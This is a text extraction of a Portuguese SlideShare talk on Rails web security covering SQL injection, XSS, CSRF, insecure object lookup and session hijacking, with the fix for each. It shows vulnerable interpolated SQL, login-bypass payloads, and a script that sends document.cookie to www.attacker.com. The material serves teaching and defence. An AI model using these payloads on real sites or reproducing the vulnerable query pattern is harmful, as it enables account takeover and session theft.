SlideShare uma empresa Scribd logo
Segurança em aplicações Web
Pródiga
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
' OR '1'='1 como nome e ' OR '2'>'1 como senha
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
' OR '1'='1 como nome e ' OR '2'>'1 como senha
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
' OR '1'='1 como nome e ' OR '2'>'1 como senha
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
' OR '1'='1 como nome e ' OR '2'>'1 como senha
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
Model.where(login: entered_user_name, password: entered_password).first
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
<img src=javascript:alert(‘Hello')>
<table background="javascript:alert('Hello')">
<script>document.write(document.cookie);</script>
<script>document.write(document.cookie);</script>
<script>
document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">');
</script>
<script>document.write(document.cookie);</script>
<script>
document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">');
</script>
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
Como evitar
Como evitar
flag httpOnly ao criar o cookie
sanitizar inputs dos usuarios
Cross-Site Request Forgery
Como evitar
Como evitar
usar metodos get e post corretamente
usar token
<form action=“/remover-usuario“ method="post">
<input type="hidden" name="id" value="38">
<input type="date" name=“data-remocao”>
<input type="submit" value="Remover">
</form>
<form action=“/remover-usuario“ method="post">
<input type="hidden" name="id" value="38">
<input type="hidden" name="csrf_token" value="71ACGD73OVxuza6yeAInUG0aOYEqf
<input type="date" name=“data-remocao”>
<input type="submit" value="Remover">
</form>
def edit
@project = Project.find(params['id'])
end
def edit
@project = current_user.projects.find(params['id'])
end
def edit
@project = current_user.projects.find(params['id'])
end
http://www.fidelis.work/como-eu-usei-o-cartao-de-credito-do-ceo-do-trampos-co-para-pagar-minha-assinatura-premium/
Como capturar a sessão
através de wi-fi inseguro
através de terminais públicos
XSS
Como evitar
marcar cookies como httpOnly
usar ssl
Expirar a sessão
Onde aprender mais
https://www.owasp.org/index.php/Main_Page
http://guides.rubyonrails.org/security.html
Segurança em aplicações web

Mais conteúdo relacionado

Mais de Paulo Moura

Orientação a Objetos na prática
Orientação a Objetos na práticaOrientação a Objetos na prática
Orientação a Objetos na prática
Paulo Moura
 
Skills de um dev agil
Skills de um dev agilSkills de um dev agil
Skills de um dev agil
Paulo Moura
 
Xp
XpXp
Praticas Ágeis para desenvolvimento de Software
Praticas Ágeis para desenvolvimento de SoftwarePraticas Ágeis para desenvolvimento de Software
Praticas Ágeis para desenvolvimento de Software
Paulo Moura
 
Software art
Software artSoftware art
Software art
Paulo Moura
 
Safo rico safo pobre
Safo rico safo pobreSafo rico safo pobre
Safo rico safo pobre
Paulo Moura
 
Qualidade de Software - Uma visão de desenvolvedor
Qualidade de Software - Uma visão de desenvolvedorQualidade de Software - Uma visão de desenvolvedor
Qualidade de Software - Uma visão de desenvolvedor
Paulo Moura
 

Mais de Paulo Moura (7)

Orientação a Objetos na prática
Orientação a Objetos na práticaOrientação a Objetos na prática
Orientação a Objetos na prática
 
Skills de um dev agil
Skills de um dev agilSkills de um dev agil
Skills de um dev agil
 
Xp
XpXp
Xp
 
Praticas Ágeis para desenvolvimento de Software
Praticas Ágeis para desenvolvimento de SoftwarePraticas Ágeis para desenvolvimento de Software
Praticas Ágeis para desenvolvimento de Software
 
Software art
Software artSoftware art
Software art
 
Safo rico safo pobre
Safo rico safo pobreSafo rico safo pobre
Safo rico safo pobre
 
Qualidade de Software - Uma visão de desenvolvedor
Qualidade de Software - Uma visão de desenvolvedorQualidade de Software - Uma visão de desenvolvedor
Qualidade de Software - Uma visão de desenvolvedor
 

Segurança em aplicações web